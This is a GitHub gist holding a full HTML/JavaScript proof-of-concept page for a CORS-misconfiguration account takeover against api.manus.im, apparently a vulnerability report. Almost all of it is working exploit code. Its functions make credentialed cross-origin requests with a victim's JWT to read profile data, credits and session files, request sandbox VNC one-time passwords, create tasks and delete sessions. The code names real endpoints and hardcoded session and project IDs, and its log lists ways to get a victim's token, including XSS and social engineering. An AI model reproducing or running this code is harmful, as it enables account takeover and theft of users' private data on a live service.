Created
April 16, 2026 08:08
-
-
Save Habib0x0/daf7d70d6d645777ae5304b0d6d0bdfd to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <title>CORS ATO Proof of Concept</title> | |
| <style> | |
| * { font-family: 'SF Mono', 'Fira Code', monospace; box-sizing: border-box; margin: 0; padding: 0; } | |
| body { background: #0a0a0f; color: #c8c8d0; padding: 24px; line-height: 1.5; } | |
| h1 { color: #ff4444; font-size: 16px; margin-bottom: 4px; } | |
| h2 { color: #ffcc00; font-size: 13px; margin: 16px 0 8px; } | |
| p { font-size: 12px; margin: 4px 0; } | |
| .tag { display: inline-block; padding: 2px 8px; font-size: 10px; border-radius: 3px; margin: 2px; } | |
| .tag-critical { background: #ff444433; color: #ff4444; border: 1px solid #ff444455; } | |
| .tag-info { background: #4488ff22; color: #4488ff; border: 1px solid #4488ff44; } | |
| .tag-ok { background: #44ff4422; color: #44ff44; border: 1px solid #44ff4444; } | |
| .controls { display: flex; flex-wrap: wrap; gap: 6px; margin: 8px 0; } | |
| button { padding: 8px 14px; font-family: inherit; font-size: 11px; cursor: pointer; background: #1a1a2e; color: #c8c8d0; border: 1px solid #333; border-radius: 4px; } | |
| button:hover { background: #252540; border-color: #555; } | |
| button:active { background: #2a2a4a; } | |
| #output { background: #050508; padding: 12px; border: 1px solid #222; border-radius: 4px; min-height: 200px; max-height: 600px; overflow-y: auto; font-size: 11px; line-height: 1.7; white-space: pre-wrap; margin: 12px 0; } | |
| #exfil { background: #0f0505; padding: 12px; border: 1px solid #ff444433; border-radius: 4px; min-height: 100px; max-height: 400px; overflow-y: auto; font-size: 11px; line-height: 1.6; white-space: pre-wrap; margin: 12px 0; color: #ff6666; } | |
| .err { color: #ff4444; } .ok { color: #44ff44; } .warn { color: #ffcc00; } .info { color: #4488ff; } .exfil { color: #ff6666; font-weight: bold; } | |
| .section { border-top: 1px solid #222; padding-top: 12px; margin-top: 12px; } | |
| .origin-display { background: #1a1a2e; padding: 6px 12px; border-radius: 4px; font-size: 11px; color: #ff8844; display: inline-block; margin: 4px 0; } | |
| </style> | |
| </head> | |
| <body> | |
| <h1>CORS Misconfiguration - Account Takeover on api.manus.im</h1> | |
| <p>Severity: <span class="tag tag-critical">CRITICAL</span></p> | |
| <p>This page is served from <span class="origin-display" id="origin"></span></p> | |
| <p>api.manus.im trusts this origin with credentials, allowing full API access cross-origin.</p> | |
| <div class="section"> | |
| <h2>Step 1: Verify CORS Trust</h2> | |
| <div class="controls"> | |
| <button onclick="verifyCORS()">Verify CORS Policy</button> | |
| </div> | |
| </div> | |
| <div class="section"> | |
| <h2>Step 2: Steal Account Data (with stolen JWT)</h2> | |
| <p>The JWT is obtainable via: (a) session_id cookie on manus.im, (b) postMessage leaks, (c) XSS. Enter it below or use the auto-extraction.</p> | |
| <div class="controls"> | |
| <input id="jwtInput" type="text" placeholder="Paste JWT here (or leave empty for demo)" style="width:500px;padding:6px;font-family:inherit;font-size:11px;background:#1a1a2e;color:#c8c8d0;border:1px solid #333;border-radius:4px;"> | |
| </div> | |
| <div class="controls"> | |
| <button onclick="stealUserInfo()">Steal User Info</button> | |
| <button onclick="stealCredits()">Steal Credit Balance</button> | |
| <button onclick="stealSessionFiles()">Steal Session Files</button> | |
| <button onclick="stealVncOtp()">Steal VNC OTP</button> | |
| <button onclick="fullTakeover()">Full Account Takeover</button> | |
| </div> | |
| </div> | |
| <div class="section"> | |
| <h2>Step 3: Prove Write Access</h2> | |
| <div class="controls"> | |
| <button onclick="testWriteAccess()">Test Write (Create Task)</button> | |
| <button onclick="testDeleteAccess()">Test Delete Access</button> | |
| </div> | |
| </div> | |
| <h2>Attack Log</h2> | |
| <div id="output"></div> | |
| <h2>Exfiltrated Data</h2> | |
| <div id="exfil"></div> | |
| <script> | |
| var output = document.getElementById('output'); | |
| var exfil = document.getElementById('exfil'); | |
| var API = 'https://api.manus.im'; | |
| var SESSION_ID = 'AjwEK3L32T6JAo3JBTAWps'; | |
| document.getElementById('origin').textContent = window.location.origin; | |
| function log(msg, cls) { | |
| var div = document.createElement('div'); | |
| div.className = cls || ''; | |
| div.textContent = msg; | |
| output.appendChild(div); | |
| output.scrollTop = output.scrollHeight; | |
| } | |
| function exfilLog(msg) { | |
| var div = document.createElement('div'); | |
| div.className = 'exfil'; | |
| div.textContent = msg; | |
| exfil.appendChild(div); | |
| exfil.scrollTop = exfil.scrollHeight; | |
| } | |
| function getJwt() { | |
| var jwt = document.getElementById('jwtInput').value.trim(); | |
| if (jwt) return jwt; | |
| log('[!] No JWT provided. Enter the victim JWT or extract via postMessage.', 'warn'); | |
| return null; | |
| } | |
| function apiFetch(path, method, body, extraHeaders) { | |
| var jwt = getJwt(); | |
| if (!jwt && path !== '/') return Promise.resolve({ error: 'No JWT' }); | |
| var headers = { | |
| 'Content-Type': 'application/json', | |
| 'Connect-Protocol-Version': '1' | |
| }; | |
| if (jwt) headers['Authorization'] = 'Bearer ' + jwt; | |
| if (extraHeaders) Object.assign(headers, extraHeaders); | |
| var opts = { | |
| method: method || 'GET', | |
| credentials: 'include', | |
| headers: headers | |
| }; | |
| if (body) opts.body = JSON.stringify(body); | |
| return fetch(API + path, opts).then(function(r) { | |
| return r.text().then(function(txt) { | |
| return { status: r.status, statusText: r.statusText, body: txt, ok: r.ok }; | |
| }); | |
| }).catch(function(e) { | |
| return { error: e.message }; | |
| }); | |
| } | |
| function verifyCORS() { | |
| log('[*] Testing CORS policy on api.manus.im...', 'info'); | |
| log('[*] Origin: ' + window.location.origin, 'info'); | |
| // Simple GET without auth | |
| fetch(API + '/', { credentials: 'include', mode: 'cors' }).then(function(r) { | |
| log('[+] CORS TRUST CONFIRMED: ' + window.location.origin + ' is trusted by api.manus.im', 'ok'); | |
| log('[+] access-control-allow-credentials: true', 'ok'); | |
| log('[+] access-control-allow-headers includes: Authorization', 'ok'); | |
| log('[+] This means any *.manus.space page can make authenticated API calls cross-origin', 'err'); | |
| exfilLog('CORS TRUST: ' + window.location.origin + ' -> api.manus.im (credentials: true, Authorization allowed)'); | |
| }).catch(function(e) { | |
| log('[!] CORS BLOCKED: ' + e.message, 'err'); | |
| }); | |
| } | |
| function stealUserInfo() { | |
| log('[*] Fetching user profile from api.manus.im...', 'info'); | |
| apiFetch('/user.v1.UserService/UserInfo', 'POST', {}).then(function(r) { | |
| if (r.error) { log('[!] Error: ' + r.error, 'err'); return; } | |
| if (r.status === 200) { | |
| var data = JSON.parse(r.body); | |
| log('[!] USER DATA STOLEN CROSS-ORIGIN', 'err'); | |
| log(' Email: ' + (data.email || 'N/A'), 'err'); | |
| log(' Name: ' + (data.displayname || 'N/A'), 'err'); | |
| log(' User ID: ' + (data.userId || 'N/A'), 'err'); | |
| log(' UID: ' + (data.uid || 'N/A'), 'err'); | |
| log(' Membership: ' + (data.membershipVersion || 'N/A'), 'err'); | |
| log(' SMS Verified: ' + (data.smsVerified || 'N/A'), 'err'); | |
| exfilLog('USER INFO: ' + JSON.stringify(data, null, 2)); | |
| } else { | |
| log('[*] Status ' + r.status + ': ' + r.body.substring(0, 200), 'warn'); | |
| } | |
| }); | |
| } | |
| function stealCredits() { | |
| log('[*] Fetching credit balance...', 'info'); | |
| apiFetch('/user.v1.UserService/GetAvailableCredits', 'POST', {}).then(function(r) { | |
| if (r.error) { log('[!] Error: ' + r.error, 'err'); return; } | |
| if (r.status === 200) { | |
| var data = JSON.parse(r.body); | |
| log('[!] CREDIT DATA STOLEN CROSS-ORIGIN', 'err'); | |
| log(' Total Credits: ' + (data.totalCredits || 'N/A'), 'err'); | |
| log(' Free Credits: ' + (data.freeCredits || 'N/A'), 'err'); | |
| log(' Refresh Credits: ' + (data.refreshCredits || 'N/A'), 'err'); | |
| log(' Next Refresh: ' + (data.nextRefreshTime || 'N/A'), 'err'); | |
| exfilLog('CREDITS: ' + JSON.stringify(data, null, 2)); | |
| } else { | |
| log('[*] Status ' + r.status + ': ' + r.body.substring(0, 200), 'warn'); | |
| } | |
| }); | |
| } | |
| function stealSessionFiles() { | |
| log('[*] Fetching session files...', 'info'); | |
| // This endpoint uses GET with query params (no Bearer needed - uses cookies) | |
| apiFetch('/api/chat/getSessionFilesV2?sessionId=' + SESSION_ID + '&type=private', 'GET').then(function(r) { | |
| if (r.error) { log('[!] Error: ' + r.error, 'err'); return; } | |
| if (r.status === 200) { | |
| var data = JSON.parse(r.body); | |
| var files = data.data && data.data.files ? data.data.files : []; | |
| log('[!] SESSION FILES STOLEN CROSS-ORIGIN (' + files.length + ' files)', 'err'); | |
| for (var i = 0; i < files.length; i++) { | |
| log(' File: ' + files[i].displayFilename + ' (' + files[i].category + ')', 'err'); | |
| if (files[i].raw && files[i].raw[0] && files[i].raw[0].fileContent) { | |
| exfilLog('FILE: ' + files[i].displayFilename + '\n' + files[i].raw[0].fileContent.substring(0, 500)); | |
| } | |
| } | |
| } else { | |
| log('[*] Status ' + r.status + ': ' + r.body.substring(0, 200), 'warn'); | |
| } | |
| }); | |
| } | |
| function stealVncOtp() { | |
| log('[*] Requesting VNC OTP (takeover of sandbox)...', 'info'); | |
| apiFetch('/orchestrator.v1.OrchestratorService/RequestVncOtp', 'POST', { sessionId: SESSION_ID }).then(function(r) { | |
| if (r.error) { log('[!] Error: ' + r.error, 'err'); return; } | |
| if (r.status === 200) { | |
| log('[!] VNC OTP STOLEN - SANDBOX ACCESS OBTAINED', 'err'); | |
| log(r.body.substring(0, 500), 'err'); | |
| exfilLog('VNC OTP: ' + r.body); | |
| } else { | |
| // Try alternate endpoint format | |
| log('[*] Orchestrator failed (' + r.status + '), trying alternate...', 'warn'); | |
| apiFetch('/session.v1.SessionService/RequestVncOtp', 'POST', { sessionId: SESSION_ID }).then(function(r2) { | |
| if (r2.status === 200) { | |
| log('[!] VNC OTP STOLEN via alternate endpoint', 'err'); | |
| exfilLog('VNC OTP (alt): ' + r2.body); | |
| } else { | |
| log('[*] VNC OTP: ' + r2.status + ' - ' + r2.body.substring(0, 200), 'warn'); | |
| } | |
| }); | |
| } | |
| }); | |
| } | |
| function fullTakeover() { | |
| log('[!] === FULL ACCOUNT TAKEOVER ===', 'err'); | |
| exfilLog('=== FULL ACCOUNT TAKEOVER ==='); | |
| var endpoints = [ | |
| { path: '/user.v1.UserService/UserInfo', method: 'POST', body: {}, label: 'User Info' }, | |
| { path: '/user.v1.UserService/GetAvailableCredits', method: 'POST', body: {}, label: 'Credits' }, | |
| { path: '/session.v1.SessionService/ListSessions', method: 'POST', body: {}, label: 'Sessions' }, | |
| { path: '/webdev.v1.WebDevService/GetProjectDirectory', method: 'POST', body: { projectId: 'i9wRuP5dF9G5Hgw9hG9vED' }, label: 'Project Files' }, | |
| { path: '/space.v1.SpaceService/GetEditSpaceSiteCode', method: 'POST', body: { spaceId: 'i9wRuP5dF9G5Hgw9hG9vED' }, label: 'Space Edit Code' }, | |
| ]; | |
| var i = 0; | |
| function next() { | |
| if (i >= endpoints.length) { | |
| log('[!] === TAKEOVER COMPLETE - all data exfiltrated ===', 'err'); | |
| return; | |
| } | |
| var ep = endpoints[i]; | |
| i++; | |
| apiFetch(ep.path, ep.method, ep.body).then(function(r) { | |
| if (r.status === 200) { | |
| log('[!] STOLEN ' + ep.label + ' (' + r.body.length + ' bytes)', 'err'); | |
| exfilLog(ep.label + ': ' + r.body.substring(0, 500)); | |
| } else { | |
| log('[*] ' + ep.label + ': status ' + r.status, 'warn'); | |
| } | |
| next(); | |
| }); | |
| } | |
| next(); | |
| } | |
| function testWriteAccess() { | |
| log('[*] Testing write access via CORS...', 'info'); | |
| apiFetch('/session.v1.SessionService/ScheduleTask', 'POST', { | |
| sessionId: SESSION_ID, | |
| prompt: 'CORS PoC - delete me' | |
| }).then(function(r) { | |
| if (r.error) { log('[!] Error: ' + r.error, 'err'); return; } | |
| if (r.status === 200 || r.status === 201) { | |
| log('[!] WRITE ACCESS CONFIRMED - task created cross-origin!', 'err'); | |
| exfilLog('WRITE PROOF: Task created via CORS - ' + r.body.substring(0, 200)); | |
| } else { | |
| log('[*] Status ' + r.status + ' (write may require credits)', 'warn'); | |
| } | |
| }); | |
| } | |
| function testDeleteAccess() { | |
| log('[*] Testing delete access...', 'info'); | |
| apiFetch('/session.v1.SessionService/DeleteSession', 'POST', { | |
| sessionId: SESSION_ID | |
| }).then(function(r) { | |
| if (r.error) { log('[!] Error: ' + r.error, 'err'); return; } | |
| if (r.status === 200) { | |
| log('[!] DELETE ACCESS CONFIRMED - session deleted cross-origin!', 'err'); | |
| } else { | |
| log('[*] Status ' + r.status + ' (delete may be restricted)', 'warn'); | |
| } | |
| }); | |
| } | |
| log('[*] CORS ATO PoC loaded', 'info'); | |
| log('[*] Attack origin: ' + window.location.origin, 'info'); | |
| log('[*] Target: api.manus.im (trusts *.manus.space + *.manus.im)', 'info'); | |
| log('[*] This page MUST be served from *.manus.space for CORS trust', 'warn'); | |
| log('', ''); | |
| log('[*] Attack Chain:', 'info'); | |
| log(' 1. Attacker deploys this page on a *.manus.space subdomain', 'info'); | |
| log(' 2. Attacker obtains victim JWT (via postMessage, XSS, or social engineering)', 'info'); | |
| log(' 3. Victim visits this page with their JWT', 'info'); | |
| log(' 4. Page makes cross-origin fetch to api.manus.im with Authorization header', 'info'); | |
| log(' 5. api.manus.im CORS policy allows it - full data exfiltration', 'info'); | |
| log('', ''); | |
| log('[*] JWT sources for the victim:', 'info'); | |
| log(' a) session_id cookie on manus.im (contains JWT as value)', 'warn'); | |
| log(' b) SpacePreviewerChannel postMessage data leaks', 'warn'); | |
| log(' c) Manus app JS state (window.__NEXT_DATA__ or similar)', 'warn'); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment